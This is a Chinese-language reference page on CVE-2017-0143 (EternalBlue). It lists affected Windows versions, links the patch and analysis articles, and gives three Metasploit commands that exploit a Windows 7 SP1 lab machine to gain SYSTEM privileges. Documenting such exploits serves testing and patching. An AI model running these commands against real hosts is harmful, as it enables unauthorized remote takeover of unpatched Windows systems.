### CVE-2017-0143

#### 描述

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网。大名鼎鼎的永恒之蓝漏洞

#### 影响版本

| Product             | CPU Architecture | Version | Update | Tested             |
| ------------------- | ---------------- | ------- | ------ | ------------------ |
| Windows 10          | x86/x64          |         |        |                    |
| Windows 10          | x86/x64          | 1511    |        |                    |
| Windows 10          | x86/x64          | 1607    |        |                    |
| Windows 7           | x86/x64          |         | SP1    | &#10004; |
| Windows 8.1         | x86/x64          |         |        |                    |
| Windows Rt 8.1      |                  |         |        |                    |
| Windows Server 2008 | x86/x64          |         | SP2    |                    |
| Windows Server 2008 | x86/x64          | R2      | SP1    |                    |
| Windows Server 2012 |                  | R2      |        |                    |
| Windows Server 2012 |                  |         |        |                    |
| Windows Server 2016 |                  |         |        |                    |
| Windows Vista       | x86/x64          |         | SP2    |                    |

#### 修复补丁

```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0143
```

#### 利用方式

直接用msf就行，方便快捷，测试系统Windows 7 SP1 x64

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.0.128
run
```

![image-20200818114043309](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-0143_msf_1.png)

并且权限是system的

![image-20200818114925926](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2017-0143_msf_2.png)


#### 分析文章
- https://www.anquanke.com/post/id/86270
- https://github.com/worawit/MS17-010/blob/master/BUG.txt
- https://yi0934.github.io/2019/04/08/CVE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ms17-010/
- https://cy2cs.top/2020/08/22/%E3%80%90owva%E3%80%91%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- https://paper.seebug.org/280/